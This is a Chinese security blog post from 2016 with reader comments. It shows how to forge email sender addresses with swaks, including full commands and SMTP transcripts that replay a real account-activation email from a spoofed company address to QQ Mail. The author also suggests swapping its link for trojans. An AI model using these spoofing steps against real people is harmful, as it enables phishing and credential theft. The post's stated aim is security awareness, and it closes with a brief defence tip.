钓鱼邮件初探:黑客是如何进行邮件伪造的?

2016-01-07 1556909人围观 ,发现 31 个不明物体 工具网络安全

本文原创作者:dontshoot

免责声明:本站提供安全工具、程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

现如今的钓鱼邮件都是通过注册相似的邮箱,或者设置邮箱的显示名称,盼着被害人有看走眼的那一刻,轻信邮件的内容。这种方法需要一定的社工技巧,以及诱导性的语言来诱使被害人上钩。但是对于有一定的经验以及眼力的人来说,还是可以识破骗子的伎俩。

下面我要介绍的这款工具可以最大程度的欺骗你的邮箱,更不要提你的眼睛。当然,此方法不是适用于任何邮箱,毕竟每种邮箱的过滤机制都不相同。gmail在这方面就做的不错。

Swaks - SMTP界的瑞士军刀

安装:kali中自带,或者从作者网页下载

基本用法:

swaks –to <要测试的邮箱>         用来测试邮箱的连通性

root@kali:~# swaks --to xxxx@qq.com
=== Trying mx3.qq.com:25...
=== Connected to mx3.qq.com.
<-  220 newmx59.qq.com MX QQ Mail Server
 -> EHLO kali
<-  250-newmx59.qq.com
<-  250-SIZE 73400320
<-  250-STARTTLS
<-  250 OK
 -> MAIL FROM:<root@kali>
<-  250 Ok
 -> RCPT TO:<xxxx@qq.com>
<-  250 Ok
 -> DATA
<-  354 End data with <CR><LF>.<CR><LF>
 -> Date: Tue, 05 Jan 2016 23:15:11 -0500
 -> To: xxxx@qq.com
 -> From: root@kali
 -> Subject: test Tue, 05 Jan 2016 23:15:11 -0500
 -> X-Mailer: swaks v20130209.0 jetmore.org/john/code/swaks/
 -> 
 -> This is a test mailing
 -> 
 -> .
<** 550 Mail content denied. http://service.mail.qq.com/cgi-bin/help?subtype=1&&id=20022&&no=1000726
 -> QUIT
<-  221 Bye
=== Connection closed with remote host.

前面都返回250ok,说明该邮箱存在,并且可以正常收信。最后可以看到qq邮箱返回550错误,qq官方给出的出错原因:该邮件内容涉嫌大量群发,并且被多数用户投诉为垃圾邮件。

我们可以继续对邮件进行伪造,来绕过qq邮箱的判断

比如:

swaks --to xxxx@qq.com --from info@freebuf.com --ehlo freebuf.com --body hello --header "Subject: hello"

其中:

–from <要显示的发件人邮箱>

–ehlo <伪造的邮件ehlo头>

–body <邮件正文>

–header <邮件头信息,subject为邮件标题>

root@kali:~# swaks --to xxxx@qq.com --from info@freebuf.com --ehlo freebuf.com --body hello --header "Subject: hello"
=== Trying mx3.qq.com:25...
=== Connected to mx3.qq.com.
<-  220 newmx.qq.com MX QQ Mail Server
 -> EHLO freebuf.com
<-  250-newmx.qq.com
<-  250-SIZE 73400320
<-  250-STARTTLS
<-  250 OK
 -> MAIL FROM:<info@freebuf.com>
<-  250 Ok
 -> RCPT TO:<xxxx@qq.com>
<-  250 Ok
 -> DATA
<-  354 End data with <CR><LF>.<CR><LF>
 -> Date: Tue, 05 Jan 2016 23:23:09 -0500
 -> To: xxxx@qq.com
 -> From: info@freebuf.com
 -> Subject: hello
 -> X-Mailer: swaks v20130209.0 jetmore.org/john/code/swaks/
 -> 
 -> hello
 -> 
 -> .
<-  250 Ok: queued as 
 -> QUIT
<-  221 Bye
=== Connection closed with remote host.

在你ip没有被qq邮箱band的情况下,邮件可以正常发送,返回250 ok。

到这一步基本上可以满足伪造邮件的要求了,但是qq邮箱会有安全提示,不过在不注意的情况下,基本上普通用户会轻信邮件中的内容。

高级用法:

使用swaks其实还可以进行更高级的邮件伪造,几乎可以伪造邮件中的每一个参数。

–data <源邮件>

首先,我们需要一份正常的邮件

点击显示邮件原文,把原文复制出来,保存为email.txt

其中的received可以都删除,该项为接收信息,发信中不需要。to项也可以删除,可以直接用swaks –to来代替。

注意不要忘了加–from 否则qq邮箱会报由kali代发……

swaks --data ./Desktop/email.txt --to xxxx@qq.com --from services@tophant.com
=== Trying mx3.qq.com:25...
=== Connected to mx3.qq.com.
<-  220 newmx.qq.com MX QQ Mail Server
 -> EHLO kali
<-  250-newmx.qq.com
<-  250-SIZE 73400320
<-  250-STARTTLS
<-  250 OK
 -> MAIL FROM:<services@tophant.com>
<-  250 Ok
 -> RCPT TO:<xxxx@qq.com>
<-  250 Ok
 -> DATA
<-  354 End data with <CR><LF>.<CR><LF>
 -> X-QQ-mid: bizesmtp1t1452053499t679t108
 -> X-QQ-SSF: A0100000002000F16x90000A0000000
 -> X-QQ-FEAT: JN+C/NT9bLPRA1qtkTz2XI2YtLAH2K0SriLtB4o1q8I8MwPIq85lzXVAE4t7b
 -> 	OaepuNhlRjNMuNhLJH2pbIQ3JkVf4MP4TXQi2HVPIG8N8dUf6GgxSJyMKya1U+CgOSvNgnP
 -> 	bbplbVZjkAVzVuoZOc03UetuyeF1A3SpS70fm7O8nzDqx918Tpsf+n3dlMN6UaAEV3SJycL
 -> 	1JuHYi2/yTQ7J6XJ4bMhJRRbRROkDmpNEgqGw1Sfo66A/oJUz0rf4tLEr7HgNuls18LrqZV
 -> 	jYfpcX5wglT4lxLNkHZRNBshk=
 -> Date: Wed, 6 Jan 2016 12:11:39 +0800
 -> Return-Path: services@tophant.com
 -> From: =?utf-8?B?RnJlZUJ1Zi/mvI/mtJ7nm5LlrZDmnI3liqHlm6LpmJ8=?= <services@tophant.com>
 -> Subject: =?utf-8?B?RnJlZUJ1Zi/mvI/mtJ7nm5LlrZDotKbmiLfmv4DmtLvpgq7ku7Y=?=
 -> Message-ID: <34db99d2b030c0f7b34bd2c6beca9666@account.tophant.com>
 -> X-Priority: 3
 -> X-Mailer: PHPMailer 5.1 (phpmailer.sourceforge.net)
 -> MIME-Version: 1.0
 -> Content-Type: multipart/alternative;
 -> 	boundary="b1_34db99d2b030c0f7b34bd2c6beca9666"
 -> 
 -> 
 -> --b1_34db99d2b030c0f7b34bd2c6beca9666
 -> Content-Type: text/plain; charset = "utf-8"
 -> Content-Transfer-Encoding: 8bit
 -> 
 -> FreeBuf/漏洞盒子账户激活邮件
 -> 
 -> 
 -> --b1_34db99d2b030c0f7b34bd2c6beca9666
 -> Content-Type: text/html; charset = "utf-8"
 -> Content-Transfer-Encoding: 8bit
 -> 
 -> 尊敬的FreeBuf/漏洞盒子用户:
 ->   您好,您可以点击以下链接激活您的账号:<BR><A href="https://account.tophant.com/register/activation/token/c5023007b72363de7085504cf922d0c6" target=_blank>https://account.tophant.com/register/activation/token/c5023007b72363de7085504cf922d0c6伪造成功,你还敢点这条链接么</A><BR><BR>本邮件由系统自动发出,请勿回复。
 -> 
 -> 感谢您的使用。
 -> FreeBuf/漏洞盒子管理团队
 -> 
 -> 
 -> 
 -> --b1_34db99d2b030c0f7b34bd2c6beca9666--
 -> 
 -> .
<-  250 Ok: queued as 
 -> QUIT
<-  221 Bye
=== Connection closed with remote host.

发送成功,qq邮箱没报垃圾邮件,也没报有害。

伪造成功,这超链接可以换成你喜欢的各种探针啊,马啊之类的,在加上一点社工技巧,在APT横行的年代,自求多福吧。

解决办法:遇到可疑邮件要查看源邮件,判断发信人ip是否为可信任的ip。

* 作者:dontshoot,本文属FreeBuf原创奖励计划文章,未经许可禁止转载

相关推荐

这些评论亮了

  • 河蟹 回复
    @ lucky0001  自己研究不够深,就特么の别逼逼!研究的深的真不会开口这么说,这个别说过163,谷歌邮箱没问题!连续发送所用的策略都特么不同!基于ip 发送频率 发送内容 发送标题 得策略控制,别说是伪造。你正常邮件频率过大也会定义为垃圾邮件的!
    )34( 亮了
  • 现在越来越多公司启用SPF和DKIM了,一般无效。
    )10( 亮了
  • 二号 回复
    @ lucky0001 
    装逼被喷的感觉是怎样的!啥都看不上眼,啥都没做过,you can you up .ok?
    )7( 亮了
  • __patient 回复
    膜拜别开枪
    )7( 亮了
  • 原因是你用qq邮箱发的邮件,因为freebuf使用的是qq企业邮箱,所以成功发送,假设你用163的邮箱就发送失败。

    root@kali:~/tools/bankshells# nslookup -type=txt tophant.com
    Server: 192.168.217.2
    Address: 192.168.217.2#53
    Non-authoritative answer:
    tophant.com text = "v=spf1 include:spf.mail.qq.com ~all"
    Authoritative answers can be found from:
    Non-authoritative answer:
    tophant.com text = "v=spf1 include:spf.mail.qq.com ~all"
    Authoritative answers can be found from:
    )7( 亮了
发表评论

已有 31 条评论

取消
Loading...

这家伙太懒,还未填写个人描述!

1 文章数 4 评论数 0 关注者

特别推荐

推荐关注

活动预告

填写个人信息

姓名
电话
邮箱
公司
行业
职位
css.php